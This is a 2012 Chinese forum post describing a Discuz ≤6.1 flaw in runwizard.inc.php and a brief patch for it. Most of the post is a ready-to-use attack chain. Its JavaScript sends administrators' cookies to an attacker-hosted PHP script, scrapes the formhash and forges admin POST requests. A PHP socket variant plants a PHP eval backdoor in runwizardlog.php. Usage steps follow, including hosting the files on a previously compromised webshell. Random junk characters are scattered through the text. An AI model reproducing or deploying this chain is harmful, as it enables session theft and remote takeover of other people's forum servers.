找回密码
 立即注册
查看: 4499|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
- i. c2 {4 }) h2 p4 xBy racle @tian6.com
% N2 x) Y1 [( d% T% ?/ f* g$ T欢迎转帖.但请保留版权信息.
2 T2 P) k9 h! `) G4 W受影响版本iscuz<=6.1.0,gbk+utf+big5
- Y$ A/ h/ _7 n1 Q3 {  W) l; K
* p% l- n3 P6 R: @3 t1 @新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
+ A1 q! N/ v  e9 }* y* i" k8 O1 t4 n! c% K3 c7 T  Z% K

9 C+ @1 ~3 a  A) v3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706+ v5 {' K6 t. F9 ?- B
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
. c/ m" G) C, j* r" R3 K7 }+ }9 q$ d6 C9 D
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..) B4 y6 T' u7 \1 Z0 }
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS4 R3 b+ f7 o5 k4 @

$ B( G0 l& C: Q9 e: j1 @7 ~: ?9 \
! j' @0 ]5 p2 [----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
8 R3 f6 S* [8 K; \- M6 f
6 b1 \9 Y( S$ W: k4 ^
3 E  M# l$ P; Z. V; n& }7 Gproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交." o+ h. O7 U* k! X- B7 g
# F& s+ M  z# q1 Z! {
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.* R. {( J  j0 ^9 ^6 v( @" r: R

, a% \3 ?( T3 q; j: a& D1 iproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.; K: ]/ R6 q/ [9 `) F# v; y; W  D
5 c4 E$ r, O+ ?3 `& X
" j/ I9 u5 I1 U, ~9 O
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
5 y2 R9 D- ^& r& y) s. r% `- X" N0 @! Q  B' [8 g
        global $runwizardfile, $runwizardhistory;+ G2 O4 e7 f: Q" W

* I; D: q- `4 _, c) i9 D; E5 K        $fp = fopen($runwizardfile, 'w');( u  t4 y5 ~% x/ \) n9 d0 s) ]

( A. b& H$ O% r! E4 e  m) E5 c( W        fwrite($fp, serialize($runwizardhistory));4 _. R$ g- D7 F% F' y0 ?9 [

# v- c' W, N0 s/ _- z: E3 P5 X        fclose($fp);
& @  N1 K+ o" y
& O! I* W2 ^" h# g. q$ E# O8 D}- I' m2 V( A  h
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
2 `2 d  @2 K: ^  c% a, r0 P$ i以下是修补的办法:function saverunwizardhistory() {& ^5 [  u9 K# W# D- Z7 F

* C; V# `( m, V9 z  L        global $runwizardfile, $runwizardhistory;
- |( N" _$ N  M( c6 K, {
+ }0 y4 l1 h# w) s% s% ?7 m        $fp = fopen($runwizardfile, 'w');
4 t) s0 h8 K* |7 F" i* q$ f  k: [/ c, V3 Y; }
        $s = '<?php exit;?>';
2 h! C* Z' d3 r! x
; r- `! H; g5 H# [7 F        $s .= serialize($runwizardhistory);
  Y. U8 l* a* Q1 E0 {8 L3 U4 D! H1 ?& Q6 X7 E
        fwrite($fp, $s);
8 K( p: O9 X) E, }  z: c0 d4 O
        fclose($fp);
+ L6 U9 w9 R) Z3 a  P* S1 \# x% ^5 s: M2 {( P$ L! S$ N
}
6 k+ f* M0 ?. c2 ^- }6 x复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.. J' R1 F0 u4 k# E1 |

  `0 }( {2 \5 J) a  n! S, D& U9 ~! f/ m7 {

* I+ f. P: E2 ?7 P* }6 b5 z----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------6 s, Q6 Z( o8 s3 T, Q8 ]! U
6 ~) U. W$ F  V2 [
  P) s  D6 @. D$ U
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.  M2 q0 G) I0 G! w

$ b0 ^% H% _% v9 E7 h* p4 J/ p我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.: h9 s! r5 |! T1 }  A! }

( E4 m' d7 {7 p5 Q3 b这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.$ B& l! D: e/ M! {# A# g0 o
' i& d! ~* U5 a
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:9 a1 f, N, h! `2 c3 o

3 e0 {  d! P, ]% A- E; h; Uvar url="http://目标网站/admincp.php";      
1 H3 |5 p/ d( Y( x, S8 N2 J* B9 ?' R1 X: c
/*获得cookies*// U# y* g- V( F5 t$ j% j* g# W$ D

) M% @8 d  ?  n1 x: `: `function getURL(s) {9 j8 C, W" I/ |) i5 g
  Y6 i8 A+ b, r1 |  {/ T9 i
var image = new Image();
7 S5 Z+ K) S( Z
0 F4 W" r0 k' ^4 wimage.style.width = 0;2 c% d- A0 T: P* y

( ]3 r6 s5 I: h! Aimage.style.height = 0;
& k3 V3 L/ h4 ?% c3 i, \
; q8 q, v) {3 _; @( w3 e+ Timage.src = s;  `6 w0 J  R% Z; ?; r
- F/ K% j8 ?) A; d7 R/ a# Z
}
. Z4 p$ R( V$ X' }, {
& `5 W+ E0 G3 l2 rgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php! i8 y$ k( V% s% h+ C0 K4 c& h0 K$ a, K
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];% t! D1 C/ z/ G! y6 p( t& S/ i8 W
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ! B3 N7 c! j- |* a  y( L" p( g# f; u
' ?6 X9 n( f& l1 ~8 M( U5 _3 k; e
: S7 H5 {) g/ F: G. Q
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
  e1 F6 p/ B9 D0 ?( P- j6 l2 \, a, p- F7 D* R
4 e. \5 X+ ?, r1 e. z( r- q6 L
3 w- v) v* l, B3 V
/*hash*/
5 b& ~( R1 M% O* O" [! o
) Y, v  d2 F8 o) U; d) T4 wvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");8 L+ N; m! @) o( w3 G" a- L

: M/ Z- B4 H' Z( f/ D7 C  JxmlHttpReq.open("GET", url+"admincp.php?action=home", false);6 v- k: M* ~9 `+ Q$ d
. z% I6 O4 T" M+ K: V  x+ k$ j
xmlHttpReq.send();
; T' v! i4 E9 F; ]  @% z+ x& A+ P5 z" f2 z8 d! ?
var resource = xmlHttpReq.responseText;/ s4 Y' J, v& \  G0 J. H0 i% z$ Z
1 Q6 y6 Q6 Z8 b  Q1 N
var numero = resource.search(/formhash/);
2 r9 h6 Q: Q. `5 g# B6 {& E" {2 t/ V; G
var formhash=encodeURIComponent(resource.substr(numero+17,8));& s+ N9 m+ a0 F5 ~7 t; s0 q

1 k4 f  X$ S2 g: k
) j; t5 ?4 \' B5 @' e. a7 M3 `3 y: X, h! v" ?2 P' u8 ~3 ^, r: ?
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
# J+ c$ U0 T+ {3 i( J
3 t* }8 X; g" j4 H" s. R: XxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信   L( s2 [7 c7 ^. [; V# X! u3 I
7 ^1 g3 v7 Z7 n1 W+ s6 ]+ d; P
xmlHttpReq.setRequestHeader("Referer", url);* X4 M! k" c  ^/ @6 y: U% I
2 w  t( j' a. g, w; ^% R; f
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
. V2 Y4 w; _# R; F, H# [
# G; G9 @$ P/ k. ]* g$ j8 ?# z3 \xmlHttpReq.setrequestheader("content-length",post.length); - ?7 J! J% i9 r1 L

9 ?6 `9 H6 v1 S4 v: h, UxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
% n. d/ P' M, ~$ }! Z) h' y% g  a
4 j/ {* w7 M; Z3 `/ Z% B& OxmlHttpReq.send(post);//发送数据
/ e5 y; V2 B0 d3 `" @0 |复制代码这里HASH我假设正确,这样提交,也无须cookies
; ?" q' Y) ^. d7 `8 t+ ]# a; f: q/ P4 \$ r, A$ _9 N- ~
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
! e6 ^( ]/ `( M% h: D0 U0 A* t/ o8 D/ Z2 ~
if (!$sock) die("$errstr ($errno)\n");6 T# f1 L6 _0 J" w
2 c) R: [1 q' l9 o
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
) [" y, U) {" _" k. |
* h4 R3 P2 m0 N# F2 B: E$ V( P  c/ b" K# V5 L" b

) U& ]% n& P  R% sfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
9 s, Q: L4 E) j2 O' f- ~, T4 a, k5 }0 }& W: x: q* L
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");2 r& v  D) D& D( k0 I1 m$ J
4 l4 W( D# Z. F3 W% |$ e+ c7 x
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");& u* s+ q. f5 I! ?8 ]! P
) K& ^5 o' C! t" X1 g) Z
fwrite($sock, "Accept-Language: zh-cn\r\n");* \* X  ]( ~7 h

1 }; e9 _8 ]" ]4 n4 R, }1 Dfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
; e. _/ U& r- @8 S7 n+ H6 e
8 V4 k  {8 L/ ^  P7 R: h; ~# Ufwrite($sock, "Accept-Encoding: gzip, deflate\r\n");* {# [) D# N/ M, T

& u% P: x- u! C& Y9 y: p+ wfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
0 d9 g8 Q* Y. D6 k0 {# [
, F% l& q; q0 q4 ?* O6 Afwrite($sock, "Host: $url\r\n");
) l" M" c: @. N6 t8 p  k/ r$ z
) t$ _6 s+ Y& K8 {& ]fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
: \+ J! e! l3 P( c3 W$ h! X
. ?0 J1 ?% V8 l. e! T( Vfwrite($sock, "Connection: Keep-Alive\r\n");: y8 }: C  f1 [

" L; [! f. B# mfwrite($sock, "Cache-Control: no-cache\r\n");
  r! m5 H: N1 y5 ~/ l" V/ J
0 q) \1 R4 [9 c9 C" P; ~, Dfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
" G9 w7 \3 l0 x2 C% {2 T2 D& v, n0 l7 l% T! Z( {* `7 }
fwrite($sock, $data);( x' W9 |9 n3 o: L$ X

/ b- v# W6 `# W
: M. `( B8 v( C* v; j: w- P9 q4 Q, d) J4 X% t/ |4 M( g
$headers = "";6 y- B! a1 w2 N; u. z
) i  N7 Z6 s4 g# Y8 `  F: `
while ($str = trim(fgets($sock, 4096))); f9 r! k; l9 J5 S8 r' N

0 _% L% B7 ~8 w: o     $headers .= "$str\n";
8 S% |% K3 b+ O5 R% f! t) D1 \
echo "\n";
7 t) Z  C# v( d" @4 S
& W! ^& m  x8 _# j$body = "";
0 }0 }* h! _1 F  A7 a1 s
1 Y6 ^+ m1 @& c% x  nwhile (!feof($sock))
" ?' s. E. j; h7 V. f! _" V7 b& e- O2 Y) Y0 h8 L
     $body .= fgets($sock, 4096);. A: b3 n9 H/ |! P2 x# q
7 Q) Q+ t9 Q) P5 O  ~
fclose($sock);2 ^4 F) e) h1 ^$ N* i" [

* v6 P- B0 E; B' v- [- ?echo $body;0 F( ?; u# R; R! @/ y
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^, B! W; D% e* q  o& e

5 Q* c( t  K5 x' O( ?
& o$ S  H* u7 {3 U* j-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------' y' h: l* ~3 A4 ^
0 w, x5 d( C$ p6 e8 O

# @8 G. i( ]7 @) Z% v1HP SOCKET利用方法首先打开racle.js
" i" x# w+ k* [  Q% F, V% v8 g2 `
. @" C  r* D# f7 j& x: B9 y0 uvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home7 r: d0 p- }$ w/ {, o5 T

, K0 F; B) [3 N+ l& p  J
0 \! I: e6 ]- F
7 B" k( ]8 M/ b7 x6 [5 ^9 n然后打开racle@tian6.php  h4 n6 o2 {0 y' w5 s8 u

/ H, ?+ z8 Q% R' t* u) T2 L$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
& z5 i7 }" s/ V- c% w5 `2 I+ b. v( a. q1 j4 e, j+ d# }) S

0 U! H9 ?2 S2 t" Z. b5 ~
0 z0 S% j$ e, l$ w! k% h如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:  I/ b1 o  b) y7 F9 g- E! S; @
! x2 \# N: B( @+ W
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));1 N- S/ F" |/ ^" O9 ^* Z
0 v. ~7 b2 X: M2 X1 v% M
# j! b" C8 I7 f8 Y

& f% n* H/ W  I8 e( y8 KgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
& _  }) ^; ~) d+ @复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
  b7 h1 ~  K; K" C' j, q6 X5 N* I# E9 m
' i' H: D& H' p, G- R9 t% I

6 b/ f8 G. b7 v如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
! v2 Z5 e1 [. j$ u
- k1 N+ w3 F1 @var formhash=encodeURIComponent(resource.substr(numero+17,8));" t% @/ z+ s) q: \- c. j( j
# N: f4 r! c' f# O5 w# q6 a
6 I8 o: W5 e* I5 m
4 B+ \2 N/ E# X
var formhash=encodeURIComponent(resource.substr(numero+9,8));
6 z, E9 s( |! f: m复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.9 w6 Z; c: t2 [. b9 h
4 m  O% N% q$ I5 V' T5 h
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.6 v4 y; o0 L; S8 h! a+ z

+ @3 o9 [  K, [如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.  {: H& P  u8 u9 z
9 l5 I( W; l, Z; x5 }% a
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.& I4 j* _0 V( g- s( @: x! w

, D& J6 I. @9 }) i; }* V& I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表